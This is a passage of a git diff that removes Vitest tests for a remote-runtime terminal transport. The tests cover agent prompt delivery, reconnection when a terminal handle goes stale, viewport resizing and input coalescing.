-    expect(delivered?.beforePaste?.()).toBe(true)
-    transport.disconnect()
-    expect(delivered?.beforePaste?.()).toBe(false)
-  })
-
-  it('reports a failed single Aider prompt attempt once with Copy prompt after a transient detach', async () => {
-    let finishDelivery!: (delivered: boolean) => void
-    delivery.mockImplementationOnce(
-      () =>
-        new Promise<boolean>((resolve) => {
-          finishDelivery = resolve
-        })
-    )
-    Object.assign(window.api, { ui: { writeClipboardText: promptFailure.copy } })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'repo1::/remote/wt',
-      launchAgent: 'aider',
-      launchToken: 'aider-launch',
-      freshAgentLaunch: { prompt: 'fix the parser', promptDelivery: 'draft' },
-      tabId: 'tab-1',
-      leafId: '11111111-1111-4111-8111-111111111111'
-    })
-    await transport.connect({ url: '', callbacks: {} })
-    transport.disconnect()
-    finishDelivery(false)
-    await vi.dynamicImportSettled()
-    expect(delivery).toHaveBeenCalledOnce()
-    expect(promptFailure.error).toHaveBeenCalledOnce()
-    promptFailure.error.mock.calls[0]?.[1].action.onClick()
-    expect(promptFailure.copy).toHaveBeenCalledExactlyOnceWith('fix the parser')
-    transport.disconnect()
-    await vi.dynamicImportSettled()
-    expect(delivery).toHaveBeenCalledOnce()
-    expect(promptFailure.error).toHaveBeenCalledOnce()
-  })
-
-  it('keeps the existing pane request when an old host needs a prepared launch', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'repo1::/remote/wt',
-      command: 'goose',
-      launchAgent: 'goose',
-      agentLaunchPreferences: { mode: 'full-access' },
-      freshAgentLaunch: {
-        sessionOptions: { permissionMode: 'full-access' },
-        prompt: 'fix permissions',
-        promptDelivery: 'auto-submit'
-      },
-      tabId: 'tab-1',
-      leafId: '11111111-1111-4111-8111-111111111111'
-    })
-    await transport.connect({ url: '', callbacks: {} })
-    expect(runtimeCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        method: 'terminal.createAgentSession',
-        params: expect.objectContaining({
-          agent: 'goose',
-          launchPreferences: { mode: 'full-access' }
-        })
-      })
-    )
-    const create = runtimeCall.mock.calls.find(
-      ([args]) => args.method === 'terminal.createAgentSession'
-    )?.[0]
-    expect(create?.params).not.toHaveProperty('sessionOptions')
-    expect(create?.params).not.toHaveProperty('prompt')
-    expect(delivery).toHaveBeenCalledExactlyOnceWith(
-      { outcome: { status: 'created' }, hostTabId: undefined },
-      expect.objectContaining({
-        promptAfterReady: 'fix permissions',
-        submitPrompt: true,
-        forcePromptPaste: true
-      })
-    )
-    transport.disconnect()
-  })
-
-  it.each([
-    {
-      agent: 'codex' as const,
-      delivery: 'draft' as const,
-      submit: false,
-      command: "codex '-c' 'disable_paste_burst=true'"
-    },
-    {
-      agent: 'aider' as const,
-      delivery: 'auto-submit' as const,
-      submit: true,
-      command: 'aider'
-    }
-  ])(
-    'delivers ordinary legacy $agent text once without a recovery flag',
-    async ({ agent, delivery: promptDelivery, submit, command }) => {
-      const original = runtimeCall.getMockImplementation()!
-      runtimeCall.mockImplementation(async (args: { method?: string }) => {
-        const result = await original(args)
-        return args.method === 'status.get'
-          ? { ...result, result: { ...result.result, capabilities: [] } }
-          : result
-      })
-      const { planLaunchAgentStartupPrompt } =
-        await import('@/lib/agent-session/launch/prompt/launch-agent-startup-prompt-plan')
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const prepare = () =>
-        planLaunchAgentStartupPrompt({
-          base: { agent, cmdOverrides: {}, agentArgs: null, platform: 'linux', isRemote: true },
-          prompt: 'ordinary work',
-          promptDelivery,
-          submitFollowup: true,
-          isFollowupPath: agent === 'aider'
-        })
-      const startup = prepare().startupPlan!
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'repo1::/remote/wt',
-        launchAgent: agent,
-        launchToken: `ordinary-${agent}`,
-        command: startup.launchCommand,
-        freshAgentLaunch: { prompt: 'ordinary work', promptDelivery, legacy: prepare },
-        tabId: 'ordinary-tab',
-        leafId: '11111111-1111-4111-8111-111111111111'
-      })
-      await transport.connect({ url: '', callbacks: {} })
-      expect(runtimeCall).toHaveBeenCalledWith(
-        expect.objectContaining({
-          method: 'terminal.create',
-          params: expect.objectContaining({ command })
-        })
-      )
-      expect(delivery).toHaveBeenCalledExactlyOnceWith(
-        { outcome: { status: 'created' }, hostTabId: undefined },
-        expect.objectContaining({
-          rendererTabId: 'ordinary-tab',
-          promptAfterReady: 'ordinary work',
-          submitPrompt: submit,
-          forcePromptPaste: true
-        })
-      )
-      transport.disconnect()
-    }
-  )
-
-  it('forwards input over the stream and disconnects without closing shared remote sessions', async () => {
-    vi.useFakeTimers()
-    try {
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'repo1::/remote/wt',
-        tabId: 'tab-1',
-        leafId: 'pane:1'
-      })
-
-      await transport.connect({ url: '', callbacks: {} })
-      const { streamId } = latestRemoteSubscribePayload()
-      runtimeCall.mockClear()
-      const send = unsubscribe?.sendBinary as unknown as {
-        mockClear: () => void
-        mock: { calls: [Uint8Array<ArrayBufferLike>][] }
-      }
-      send.mockClear()
-
-      expect(transport.sendInput('ls\r', 'driving')).toBe(true)
-      await vi.runOnlyPendingTimersAsync()
-      expect(runtimeCall).not.toHaveBeenCalled()
-      const inputFrame = decodeTerminalStreamFrame(send.mock.calls[0][0])
-      expect(inputFrame?.opcode).toBe(TerminalStreamOpcode.Input)
-      expect(inputFrame?.streamId).toBe(streamId)
-
-      transport.disconnect()
-      expect(unsubscribeFn).toHaveBeenCalled()
-      expect(runtimeCall).not.toHaveBeenCalledWith(
-        expect.objectContaining({
-          method: 'terminal.close'
-        })
-      )
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-surface-replacement.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-surface-replacement.test.ts
deleted file mode 100644
index 8050be5e19b..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-surface-replacement.test.ts
+++ /dev/null
@@ -1,515 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import {
-  TerminalStreamOpcode,
-  decodeTerminalStreamFrame,
-  decodeTerminalStreamJson
-} from '../../../../../../shared/terminal/stream/terminal-stream-protocol'
-import { createRemoteRuntimeTransportMocks } from '../remote/remote-runtime-pty-transport-test-harness'
-import type { MultiplexSubscriptionCallbacks } from '../remote/remote-runtime-pty-transport-stream-fixtures'
-
-const appStore = vi.hoisted(() => ({
-  getState: vi.fn(() => {
-    throw new Error('These transport fixtures must not read app-store ownership')
-  })
-}))
-
-vi.mock('@/store/index', () => ({ useAppStore: { getState: appStore.getState } }))
-
-afterEach(() => {
-  expect(appStore.getState).not.toHaveBeenCalled()
-})
-
-let subscriptionCallbacks: MultiplexSubscriptionCallbacks = null
-let resolvedPaneHandle = 'terminal-1'
-
-const {
-  runtimeCall,
-  subscriptionSendBinary,
-  latestSubscribePayload,
-  emitOutput,
-  emitSnapshot,
-  resetRemoteRuntimeTransport
-} = createRemoteRuntimeTransportMocks({
-  getCallbacks: () => subscriptionCallbacks,
-  setCallbacks: (callbacks) => {
-    subscriptionCallbacks = callbacks
-  },
-  getResolvedPaneHandle: () => resolvedPaneHandle,
-  setResolvedPaneHandle: (handle) => {
-    resolvedPaneHandle = handle
-  }
-})
-
-describe('createRemoteRuntimePtyTransport', () => {
-  beforeEach(() => {
-    resetRemoteRuntimeTransport()
-  })
-
-  it('keeps the regular TUI and draft through inventory failure and stale-handle reconnect', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const onError = vi.fn()
-    const onPtyExit = vi.fn()
-    const onPtySpawn = vi.fn()
-    const onPtyRebind = vi.fn()
-    const onExit = vi.fn()
-    const onDisconnect = vi.fn()
-    const renderedScreen: string[] = []
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-tab-1',
-      leafId: 'pane:1',
-      onPtyExit,
-      onPtySpawn,
-      onPtyRebind
-    })
-
-    resolvedPaneHandle = 'terminal-stale'
-    transport.attach({
-      existingPtyId: 'remote:env-1@@terminal-stale',
-      cols: 80,
-      rows: 24,
-      callbacks: {
-        onError,
-        onExit,
-        onDisconnect,
-        onData: (data) => renderedScreen.push(data),
-        onReplayData: (data) => renderedScreen.push(data)
-      }
-    })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    const initialStreamId = latestSubscribePayload().streamId
-    const draft = 'QA regular reconnect draft - keep this unsent'
-    emitOutput(initialStreamId, draft)
-
-    let hostListCalls = 0
-    runtimeCall.mockImplementation(async (args: { method: string }) => {
-      if (args.method === 'session.tabs.activate') {
-        // Why: this host publishes the replacement only through its own inventory, so activation answers with nothing.
-        return { ok: true, result: { tabs: [] } }
-      }
-      if (args.method === 'session.tabs.list') {
-        hostListCalls += 1
-        if (hostListCalls === 1) {
-          throw new Error('runtime reconnect in progress')
-        }
-        const terminal =
-          hostListCalls === 2
-            ? 'terminal-stale'
-            : hostListCalls === 3
-              ? null
-              : 'terminal-reconnected'
-        return {
-          ok: true,
-          result: {
-            worktree: 'wt-1',
-            publicationEpoch: 'epoch-1',
-            snapshotVersion: hostListCalls + 1,
-            activeGroupId: null,
-            activeTabId: 'tab-1::pane:1',
-            activeTabType: 'terminal',
-            tabs: [
-              {
-                type: 'terminal',
-                id: 'tab-1::pane:1',
-                parentTabId: 'tab-1',
-                leafId: 'pane:1',
-                title: 'Claude Code',
-                isActive: true,
-                status: terminal ? 'ready' : 'pending-handle',
-                terminal
-              }
-            ]
-          }
-        }
-      }
-      return { ok: true, result: {} }
-    })
-
-    subscriptionCallbacks?.onResponse({
-      ok: true,
-      result: { type: 'error', streamId: initialStreamId, message: 'terminal_handle_stale' }
-    })
-
-    await vi.waitFor(() => expect(hostListCalls).toBeGreaterThanOrEqual(1))
-    expect(latestSubscribePayload()).toMatchObject({ terminal: 'terminal-stale' })
-    expect(onPtyExit).not.toHaveBeenCalled()
-    await vi.waitFor(
-      () => expect(latestSubscribePayload()).toMatchObject({ terminal: 'terminal-reconnected' }),
-      { timeout: 6_000 }
-    )
-    const replacementStreamId = latestSubscribePayload().streamId
-    emitSnapshot(replacementStreamId, draft)
-
-    expect(onError).not.toHaveBeenCalled()
-    expect(onPtyExit).not.toHaveBeenCalled()
-    expect(onPtySpawn).not.toHaveBeenCalled()
-    expect(onPtyRebind).toHaveBeenCalledOnce()
-    expect(onPtyRebind).toHaveBeenCalledWith(
-      'remote:env-1@@terminal-reconnected',
-      'remote:env-1@@terminal-stale'
-    )
-    expect(onExit).not.toHaveBeenCalled()
-    expect(onDisconnect).not.toHaveBeenCalled()
-    expect(transport.getPtyId()).toBe('remote:env-1@@terminal-reconnected')
-    expect(transport.isConnected()).toBe(true)
-    expect(renderedScreen.at(-1)).toBe(draft)
-    expect(hostListCalls).toBe(4)
-    const subscribedTerminals = subscriptionSendBinary.mock.calls
-      .map((call) => decodeTerminalStreamFrame(call[0]))
-      .flatMap((frame) => {
-        if (frame?.opcode !== TerminalStreamOpcode.Subscribe) {
-          return []
-        }
-        const payload = decodeTerminalStreamJson<{ terminal: string }>(frame.payload)
-        return payload ? [payload.terminal] : []
-      })
-    expect(subscribedTerminals).toEqual(['terminal-stale', 'terminal-reconnected'])
-    transport.destroy?.()
-  })
-
-  it('reattaches from a later host snapshot after bounded replacement polling stops', async () => {
-    vi.useFakeTimers()
-    try {
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const onError = vi.fn()
-      const onPtyExit = vi.fn()
-      const onPtyRebind = vi.fn()
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-tab-1',
-        leafId: 'pane:1',
-        onPtyExit,
-        onPtyRebind
-      })
-
-      resolvedPaneHandle = 'terminal-stale'
-      transport.attach({
-        existingPtyId: 'remote:env-1@@terminal-stale',
-        cols: 80,
-        rows: 24,
-        callbacks: { onError }
-      })
-      await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-
-      let hostListCalls = 0
-      runtimeCall.mockImplementation(async (args: { method: string }) => {
-        if (args.method === 'terminal.send') {
-          return {
-            ok: false,
-            error: { code: 'terminal_handle_stale', message: 'terminal_handle_stale' }
-          }
-        }
-        if (args.method !== 'session.tabs.list') {
-          return { ok: true, result: {} }
-        }
-        hostListCalls += 1
-        return {
-          ok: true,
-          result: {
-            worktree: 'wt-1',
-            publicationEpoch: 'epoch-1',
-            snapshotVersion: hostListCalls + 1,
-            activeGroupId: null,
-            activeTabId: 'tab-1::pane:1',
-            activeTabType: 'terminal',
-            tabs: [
-              {
-                type: 'terminal',
-                id: 'tab-1::pane:1',
-                parentTabId: 'tab-1',
-                leafId: 'pane:1',
-                title: 'Claude Code',
-                isActive: true,
-                status: 'ready',
-                terminal: 'terminal-stale'
-              }
-            ]
-          }
-        }
-      })
-
-      subscriptionCallbacks?.onResponse({
-        ok: true,
-        result: {
-          type: 'error',
-          streamId: latestSubscribePayload().streamId,
-          message: 'terminal_handle_stale'
-        }
-      })
-      await vi.advanceTimersByTimeAsync(16_000)
-
-      expect(hostListCalls).toBeGreaterThan(1)
-      expect(hostListCalls).toBeLessThan(25)
-      // Reconnect materializes first, then its inventory poll begins one backoff into the budget.
-      const listTimeouts = runtimeCall.mock.calls
-        .map(([args]) => args)
-        .filter((args) => args.method === 'session.tabs.list')
-        .map((args) => args.timeoutMs as number)
-      expect(listTimeouts[0]).toBeGreaterThan(14_000)
-      expect(listTimeouts[0]).toBeLessThanOrEqual(15_000)
-      expect(listTimeouts.every((timeoutMs) => timeoutMs > 0 && timeoutMs <= 15_000)).toBe(true)
-      expect(listTimeouts.at(-1)).toBeLessThanOrEqual(1_000)
-      expect(onError).not.toHaveBeenCalled()
-      expect(onPtyExit).not.toHaveBeenCalled()
-      expect(transport.getPtyId()).toBe('remote:env-1@@terminal-stale')
-      // Cached pixels and a known PTY id do not imply that input/output is attached.
-      expect(transport.isConnected()).toBe(false)
-      const handleEvents =
-        await import('../../../../runtime/web-session-tabs-sync/terminal-handles/web-session-terminal-handle-events')
-      expect(handleEvents.getWebSessionTerminalHandleSubscriberCountForTests()).toBe(1)
-
-      const listCallsAfterBound = hostListCalls
-      // Why: held for terminal-stale; the replacement handle below must never receive it (#10065).
-      const heldWhileReconnecting = transport.sendInputAccepted?.(
-        'retry while reconnecting',
-        'driving'
-      )
-      await vi.advanceTimersByTimeAsync(16_000)
-
-      // Accepted snapshots already own recovery; input must not restart bounded inventory polling.
-      expect(hostListCalls).toBe(listCallsAfterBound)
-      expect(handleEvents.getWebSessionTerminalHandleSubscriberCountForTests()).toBe(1)
-
-      handleEvents.queueAcceptedWebSessionTerminalSnapshot(
-        {
-          worktree: 'wt-1',
-          publicationEpoch: 'epoch-2',
-          snapshotVersion: 1,
-          activeGroupId: null,
-          activeTabId: 'tab-1::pane:1',
-          activeTabType: 'terminal',
-          tabs: [
-            {
-              type: 'terminal',
-              id: 'tab-1::pane:1',
-              parentTabId: 'tab-1',
-              leafId: 'pane:1',
-              title: 'Claude Code',
-              isActive: true,
-              status: 'ready',
-              terminal: 'terminal-after-timeout'
-            }
-          ]
-        },
-        'env-1'
-      )
-      await vi.advanceTimersByTimeAsync(0)
-      await vi.waitFor(() =>
-        expect(latestSubscribePayload()).toMatchObject({ terminal: 'terminal-after-timeout' })
-      )
-
-      expect(onPtyRebind).toHaveBeenCalledWith(
-        'remote:env-1@@terminal-after-timeout',
-        'remote:env-1@@terminal-stale'
-      )
-      await expect(heldWhileReconnecting).resolves.toBe(false)
-      expect(onPtyExit).not.toHaveBeenCalled()
-      expect(transport.getPtyId()).toBe('remote:env-1@@terminal-after-timeout')
-      expect(transport.isConnected()).toBe(false)
-      emitSnapshot(latestSubscribePayload().streamId, 'reattached')
-      expect(transport.isConnected()).toBe(true)
-      expect(handleEvents.getWebSessionTerminalHandleSubscriberCountForTests()).toBe(0)
-      const subscribedTerminals = subscriptionSendBinary.mock.calls
-        .map((call) => decodeTerminalStreamFrame(call[0]))
-        .flatMap((frame) => {
-          if (frame?.opcode !== TerminalStreamOpcode.Subscribe) {
-            return []
-          }
-          const payload = decodeTerminalStreamJson<{ terminal: string }>(frame.payload)
-          return payload ? [payload.terminal] : []
-        })
-      expect(subscribedTerminals).toEqual(['terminal-stale', 'terminal-after-timeout'])
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('materializes a host surface whose PTY died instead of polling a dead inventory', async () => {
-    vi.useFakeTimers()
-    try {
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const onError = vi.fn()
-      const onPtyExit = vi.fn()
-      const onPtyRebind = vi.fn()
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-tab-1',
-        leafId: 'pane:1',
-        onPtyExit,
-        onPtyRebind
-      })
-
-      resolvedPaneHandle = 'terminal-before-restart'
-      transport.attach({
-        existingPtyId: 'remote:env-1@@terminal-before-restart',
-        cols: 80,
-        rows: 24,
-        callbacks: { onError }
-      })
-      await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-      const activateCalls = (): {
-        method: string
-        params?: { tabId?: string; leafId?: string }
-      }[] =>
-        runtimeCall.mock.calls
-          .map(([args]) => args)
-          .filter((args) => args.method === 'session.tabs.activate')
-      const activateCallsBeforeStale = activateCalls().length
-
-      // The host still publishes the surface, but only activation can mint its replacement handle.
-      let materialized = false
-      const hostSnapshot = (): unknown => ({
-        worktree: 'wt-1',
-        publicationEpoch: 'epoch-2',
-        snapshotVersion: materialized ? 3 : 2,
-        activeGroupId: null,
-        activeTabId: 'tab-1::pane:1',
-        activeTabType: 'terminal',
-        tabs: [
-          {
-            type: 'terminal',
-            id: 'tab-1::pane:1',
-            parentTabId: 'tab-1',
-            leafId: 'pane:1',
-            title: 'Claude Code',
-            isActive: true,
-            ...(materialized
-              ? { status: 'ready', terminal: 'terminal-after-restart' }
-              : { status: 'pending-handle', terminal: null })
-          }
-        ]
-      })
-      runtimeCall.mockImplementation(async (args: { method: string }) => {
-        if (args.method === 'session.tabs.activate') {
-          materialized = true
-          return { ok: true, result: hostSnapshot() }
-        }
-        if (args.method === 'session.tabs.list') {
-          return { ok: true, result: hostSnapshot() }
-        }
-        return { ok: true, result: {} }
-      })
-
-      subscriptionCallbacks?.onResponse({
-        ok: true,
-        result: {
-          type: 'error',
-          streamId: latestSubscribePayload().streamId,
-          message: 'terminal_handle_stale'
-        }
-      })
-      await vi.advanceTimersByTimeAsync(1_000)
-
-      expect(activateCalls().length).toBeGreaterThan(activateCallsBeforeStale)
-      expect(activateCalls().at(-1)?.params).toMatchObject({
-        tabId: 'tab-1',
-        leafId: 'pane:1',
-        notifyClients: false,
-        navigation: 'caller'
-      })
-      await vi.waitFor(() =>
-        expect(latestSubscribePayload()).toMatchObject({ terminal: 'terminal-after-restart' })
-      )
-      expect(onPtyRebind).toHaveBeenCalledWith(
-        'remote:env-1@@terminal-after-restart',
-        'remote:env-1@@terminal-before-restart'
-      )
-      expect(onPtyExit).not.toHaveBeenCalled()
-      expect(onError).not.toHaveBeenCalled()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('re-activates when a stale ready activation response precedes the pending surface', async () => {
-    vi.useFakeTimers()
-    try {
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const onError = vi.fn()
-      const onPtyExit = vi.fn()
-      const onPtyRebind = vi.fn()
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-tab-1',
-        leafId: 'pane:1',
-        onPtyExit,
-        onPtyRebind
-      })
-
-      resolvedPaneHandle = 'terminal-before-restart'
-      transport.attach({
-        existingPtyId: 'remote:env-1@@terminal-before-restart',
-        callbacks: { onError }
-      })
-      await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-      runtimeCall.mockClear()
-
-      let activateCalls = 0
-      const snapshot = (terminal: string | null): unknown => ({
-        worktree: 'wt-1',
-        publicationEpoch: 'epoch-2',
-        snapshotVersion: activateCalls + 2,
-        activeGroupId: null,
-        activeTabId: 'tab-1::pane:1',
-        activeTabType: 'terminal',
-        tabs: [
-          {
-            type: 'terminal',
-            id: 'tab-1::pane:1',
-            parentTabId: 'tab-1',
-            leafId: 'pane:1',
-            title: 'Terminal',
-            isActive: true,
-            ...(terminal
-              ? { status: 'ready', terminal }
-              : { status: 'pending-handle', terminal: null })
-          }
-        ]
-      })
-      runtimeCall.mockImplementation(async (args: { method: string }) => {
-        if (args.method === 'session.tabs.activate') {
-          activateCalls += 1
-          // Why: the first activation races host publication and answers with the pre-restart handle.
-          return {
-            ok: true,
-            result: snapshot(
-              activateCalls === 1 ? 'terminal-before-restart' : 'terminal-after-restart'
-            )
-          }
-        }
-        if (args.method === 'session.tabs.list') {
-          return { ok: true, result: snapshot(null) }
-        }
-        return { ok: true, result: {} }
-      })
-
-      subscriptionCallbacks?.onResponse({
-        ok: true,
-        result: {
-          type: 'error',
-          streamId: latestSubscribePayload().streamId,
-          message: 'terminal_handle_stale'
-        }
-      })
-      await vi.advanceTimersByTimeAsync(2_000)
-
-      expect(
-        runtimeCall.mock.calls
-          .map(([args]) => args.method)
-          .filter((method) => method === 'session.tabs.activate' || method === 'session.tabs.list')
-      ).toEqual(['session.tabs.activate', 'session.tabs.list', 'session.tabs.activate'])
-      await vi.waitFor(() =>
-        expect(latestSubscribePayload()).toMatchObject({ terminal: 'terminal-after-restart' })
-      )
-      expect(onPtyRebind).toHaveBeenCalledWith(
-        'remote:env-1@@terminal-after-restart',
-        'remote:env-1@@terminal-before-restart'
-      )
-      expect(onPtyExit).not.toHaveBeenCalled()
-      expect(onError).not.toHaveBeenCalled()
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-coalescing.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-coalescing.test.ts
index 2c3ea7ed6fe..91a337939f4 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-coalescing.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-coalescing.test.ts
@@ -2,14 +2,9 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import {
   TerminalStreamOpcode,
   decodeTerminalStreamFrame,
-  decodeTerminalStreamJson,
   decodeTerminalStreamText
 } from '../../../../../../shared/terminal/stream/terminal-stream-protocol'
-import {
-  TERMINAL_INPUT_CHUNK_MAX_BYTES,
-  TERMINAL_INPUT_MAX_BYTES
-} from '../../../../../../shared/terminal/input/terminal-input'
-import { CLIPBOARD_TEXT_MEASURE_YIELD_CODE_UNITS } from '../../../../../../shared/clipboard-text'
+import { TERMINAL_INPUT_CHUNK_MAX_BYTES } from '../../../../../../shared/terminal/input/terminal-input'
 import { createRemoteRuntimeTransportMocks } from '../remote/remote-runtime-pty-transport-test-harness'
 import type { MultiplexSubscriptionCallbacks } from '../remote/remote-runtime-pty-transport-stream-fixtures'
 
@@ -33,8 +28,6 @@ const {
   runtimeSubscribe,
   subscriptionSendBinary,
   emitMultiplexReady,
-  latestSubscribePayload,
-  latestFrameForOpcode,
   resetRemoteRuntimeTransport
 } = createRemoteRuntimeTransportMocks({
   getCallbacks: () => subscriptionCallbacks,
@@ -52,76 +45,6 @@ describe('createRemoteRuntimePtyTransport', () => {
     resetRemoteRuntimeTransport()
   })
 
-  it('resubscribes with the latest pane viewport after the remote stream closes', async () => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-
-    await transport.connect({ url: '', cols: 80, rows: 24, callbacks: {} })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    expect(latestSubscribePayload().viewport).toEqual({ cols: 80, rows: 24 })
-
-    expect(transport.resize(132, 43)).toBe(true)
-    subscriptionCallbacks?.onClose?.()
-
-    await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(2))
-    await vi.waitFor(() => {
-      expect(latestSubscribePayload().viewport).toEqual({ cols: 132, rows: 43 })
-    })
-  })
-
-  it('replays a viewport that changed during the subscribe round-trip once the stream is current', async () => {
-    // Hold subscribe readiness while resize hits the refresh-only fallback; the resolved stream must replay latest geometry before the viewport timer.
-    runtimeSubscribe.mockImplementation(
-      async (_args: unknown, callbacks: typeof subscriptionCallbacks) => {
-        subscriptionCallbacks = callbacks
-        return { unsubscribe: vi.fn(), sendBinary: subscriptionSendBinary }
-      }
-    )
-    // Drain only microtasks so the 33ms viewport timer cannot hide a missing round-trip flush.
-    const flushMicrotasks = async (): Promise<void> => {
-      for (let i = 0; i < 20; i += 1) {
-        await Promise.resolve()
-      }
-    }
-
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'tab-1',
-      leafId: 'pane:1'
-    })
-
-    transport.attach({
-      existingPtyId: 'remote:terminal-1',
-      cols: 80,
-      rows: 24,
-      callbacks: {}
-    })
-    await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalled())
-
-    // Resize while the stream is not yet current (subscribe still pending).
-    expect(transport.resize(132, 43)).toBe(true)
-
-    // Release readiness and drain the resolution chain by microtasks only.
-    emitMultiplexReady()
-    await flushMicrotasks()
-
-    // The Subscribe frame still carries the subscribe-time viewport...
-    expect(latestSubscribePayload().viewport).toEqual({ cols: 80, rows: 24 })
-    // Require newer Resize before the batch timer can produce it.
-    const resizeFrame = latestFrameForOpcode(TerminalStreamOpcode.Resize)
-    expect(resizeFrame && decodeTerminalStreamJson(resizeFrame.payload)).toEqual({
-      cols: 132,
-      rows: 43
-    })
-
-    transport.destroy?.()
-  })
-
   it('replays a claim before separately framed input and query replies', async () => {
     vi.useFakeTimers()
     try {
@@ -180,184 +103,6 @@ describe('createRemoteRuntimePtyTransport', () => {
     }
   })
 
-  it('coalesces rapid remote terminal input before sending it to the runtime', async () => {
-    vi.useFakeTimers()
-    try {
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1'
-      })
-
-      await transport.connect({ url: '', callbacks: {} })
-      const { streamId } = latestSubscribePayload()
-      runtimeCall.mockClear()
-      subscriptionSendBinary.mockClear()
-
-      expect(transport.sendInput('a', 'driving')).toBe(true)
-      expect(transport.sendInput('b', 'driving')).toBe(true)
-      expect(runtimeCall).not.toHaveBeenCalled()
-
-      await vi.runOnlyPendingTimersAsync()
-
-      expect(runtimeCall).not.toHaveBeenCalled()
-      expect(subscriptionSendBinary).toHaveBeenCalledTimes(1)
-      const frame = decodeTerminalStreamFrame(subscriptionSendBinary.mock.calls[0][0])
-      expect(frame?.opcode).toBe(TerminalStreamOpcode.Input)
-      expect(frame?.streamId).toBe(streamId)
-      expect(frame ? decodeTerminalStreamText(frame.payload) : '').toBe('ab')
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('flushes a full terminal input chunk before the following input', async () => {
-    vi.useFakeTimers()
-    try {
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'tab-1',
-        leafId: 'pane:1'
-      })
-
-      await transport.connect({ url: '', callbacks: {} })
-      const { streamId } = latestSubscribePayload()
-      runtimeCall.mockClear()
-      subscriptionSendBinary.mockClear()
-
-      const chunk = 'x'.repeat(TERMINAL_INPUT_CHUNK_MAX_BYTES)
-      expect(transport.sendInput(chunk, 'driving')).toBe(true)
-      expect(subscriptionSendBinary).toHaveBeenCalledTimes(1)
-      let frame = decodeTerminalStreamFrame(subscriptionSendBinary.mock.calls[0][0])
-      expect(frame?.opcode).toBe(TerminalStreamOpcode.Input)
-      expect(frame?.streamId).toBe(streamId)
-      expect(frame ? decodeTerminalStreamText(frame.payload) : '').toBe(chunk)
-
-      expect(transport.sendInput('tail', 'driving')).toBe(true)
-      await vi.runOnlyPendingTimersAsync()
-
-      expect(runtimeCall).not.toHaveBeenCalled()
-      expect(subscriptionSendBinary).toHaveBeenCalledTimes(2)
-      frame = decodeTerminalStreamFrame(subscriptionSendBinary.mock.calls[1][0])
-      expect(frame?.opcode).toBe(TerminalStreamOpcode.Input)
-      expect(frame?.streamId).toBe(streamId)
-      expect(frame ? decodeTerminalStreamText(frame.payload) : '').toBe('tail')
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('returns runtime acceptance for acknowledged terminal input', async () => {
-    runtimeCall.mockImplementation((args) => {
-      if (args.method === 'terminal.create') {
-        return Promise.resolve({ ok: true, result: { terminal: { handle: 'terminal-1' } } })
-      }
